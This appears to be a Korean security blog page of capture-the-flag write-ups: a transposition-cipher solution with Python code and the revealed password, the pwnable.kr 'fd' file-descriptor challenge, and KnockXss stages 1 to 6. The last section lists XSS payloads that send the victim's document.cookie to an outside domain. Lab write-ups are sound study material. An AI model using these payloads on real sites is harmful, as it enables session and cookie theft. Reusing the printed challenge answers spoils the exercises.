보호된 글: [chall.stypr]social_info
Training: Crypto – Transposition I
Crypto – Transposition
Explain
It seems that the simple substitution ciphers are too easy for you.
From my own experience I can tell that transposition ciphers are more difficult to attack.
However, in this training challenge you should have not much problems to reveal the plaintext.
Ciphertext
oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wp ropglddpel.f
여러가지 암호화 기법이 있지만,
이를 복호화 하기 위해선 첨부된 http://en.wikipedia.org/wiki/Transposition_cipher에서 전위 암호의 정의를 보면,
In cryptography, a transposition cipher is a method of encryption by which the positions held by units of plaintext
전위 암호화는 단순히 글자들의 위치만을 바꾸어 쉽게 알아보게 하지 못하는 방식을 췽한다.
문제에 나온 암호화된 문장의 첫 시작인 “oWdnreuf.l”을 제조합 하면 Wonderful이 된는데,
2글자씩 위치가 변경(Transposition)되어 암호화 된 것이다. 즉, key가 ‘2’이라면 ‘2’글자씩 순서를 뒤바꾸는 형식인것이다.
이 방식을 역으로 이용해 거꾸로 key의 수씩 거꾸로 출력하하는 코드를 짜면 아래와 같다.
def decrypt(ciphertext, key): plainText = "" ciphertext= list(ciphertext) for _ in range( round(len(ciphertext)/key + 0.5) ): dump = ciphertext[:key] plainText += ''.join(dump[::-1]) del ciphertext[:key] return plainText ciphertext = "oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wp ropglddpel.f" key = 2 print(decrypt(ciphertext, key))
이 코드에 위에서 주어진 암호문을 넣고 실행 시키면,
Wonderful. You can read the message way better when the letters are in correct order. I think you would like to see your password now: porgpdlpdlef.
가 출력된다.
보호된 글: [New Level]PHP – Loose Comparison
[pwnable.kr] fd
File descriptor [fd]
Mommy! what is a file descriptor in Linux?
ssh [email protected] -p2222 (pw:guest)
SSH를 통해 접근하면 위와 같은 창이 나온다.
ls -al
명령을 입력하면,
fd, fd.c, flag
파일이 보인다.
fd 파일 : 실행 시킬 수만 있다.
fd.c 파일 : 읽을 수 있다.
flag 파일 : 암것도 할 수 없다.
fd.c파일을 보면, (cmd: cat fd.c
)
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
위 코드가 나오게 된다.
위 코드를 보면
fd 변수에 인자로 받은 값을 atoi()[1]함수 에 넣어 0x1234를 빼고,
len에 read()[2] 함수에 fd와 buf를 넣어 그 결과를 len에 넣는다.
그 후 if문에서 buf의든 내용과 “LETMEWIN\n”문자열을 비교해 같으면 flag를 출력해 준다.
여기서 중요한건 인자로 받는 내용을 넣는 fd,
즉, fd = atoi(input) - 0x1234;
에서 fd에 0(stdin)을 넣게 되면 read()함수는 사용자에 입력을 buf에 넣게 된다.
이를 위해 0x1234를 16진수 에서 10진수로 변환해 준다. > 4660
이를 fd 실행 파일에 인자로 넣어주면 ./fd 4660
사용자 입력을 기다리면서 커서가 깜빡인다.
이제 LETMEWIN
을 입력하고 엔터를 치면,
flag가 나오게 된다.
[2]read() : file descriptor(fd)를 받아 지정한 버퍼(buf)에 저장해,
지정한(32)데이터의 크기로 byte(:12) 단위로 읽어들임
보호된 글: [KnockXss] Stage 14 to 34
보호된 글: [KnockXss] Stage 7 to 13
[KnockXss] Stage 1 to 6
XSS Thousand Knocks[link]
- {} == your domain
> ex) http://xss.silnex.kr/ - Skip stage url, payload only
- I open stage 1 to 6
Stage 1
/?location=%22http://example.com/?%22%2Bdocument.cookie
Stage 2
/?q=<script>location="{}?"%2bdocument.cookie</script>
Stage 3
/?q="><script>location="{}?"+document.cookie</script>
Stage 4
/?q='><script>location='{}?'+document.cookie</script>
Stage 5
/?q=</textarea><script>location='{}?'+document.cookie</script>
Stage 6
/?q=</xmp><img+src=1+onerror=location='{}?'+document.cookie>